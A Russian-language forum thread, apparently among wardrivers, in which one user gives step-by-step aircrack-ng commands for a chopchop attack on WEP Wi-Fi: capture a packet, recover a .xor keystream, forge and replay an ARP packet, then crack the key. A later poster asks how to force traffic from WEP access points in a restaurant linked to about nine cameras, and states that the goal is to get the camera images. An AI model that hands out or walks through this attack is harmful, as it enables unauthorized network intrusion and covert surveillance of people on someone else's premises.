Ты мое сообщение про chopchop прочитал?

ты имеешь ввиду как chopchop делать?

Да, именно его

я спать хочу у меня 3 часа ночи, ну ладно объясню!
ставишь
1.сначала airdump-ng с опредделёнными параметрами
2.запускай aireplay-ng -4 athX -e <SSID> -h <твой мак>
3.он начнёт снифать пакеты и спрашивать этот ли пакет надо дешифровать?
и предлогает ввести Y или N
4. ты ловишь любой пакет от этой AP и нажимаешь Y
5.если инъекция работает то всё будет OK (надо подаждать минут 5)
6.если всё прошло ok то вконце экрана высветится надписи
типа
got a replay34235.xor
got a replay23453.cap
7. тебе нужен файл с расширением .xor
8. далее нам надо на основе этих данных сделать arp пакет
который будем пересылать.
9.запускаем утилиту (точно параметры не помню) paccketforge-ng -0 -l 255.255.255.255 -k 255.255.255.255 -a mac AP -y <сюда пихаем файл с расширением .xor в нашем случае replay34235.xor> -w arp
9.почти готово.теперь запускаем aireplay-ng -2 -r arp -h <твой мак> -e <SSID>
10.снифай и крэкай!

и незабудь в самом начале ассоциироваться с AP а то не хрина не получится! (aireplay-ng -1 0)

В чём я не прав???????

Я думаю, можно было бы по-мягче к начинающему коллеге-вардрайверу

Такой вопрос - есть Ap с Wep шифрованием, через них гонится трафик, примерно 1 пакет секунду. Причем клиентов соединенных с этими АР нету(?). Пробовал разные виды атак, иньекций, ничего не помогает, трафик не нагоняется! Очень странно, вот еще что заметил, встречал я такие АР обычно по парно, в одом ресторане на одном канале с одинаковыми названиями их было аш 9! При том, это количество камер которые там стояли. Можно ли провести паралель между тем что было написано выше? Как расшевелить эти АР?

Это может быть просто шлюз, смысл шевелить эту точку? Какую цель ты преследуешь?

Хотелось бы получить изображение с камер. В смысле, шлюз?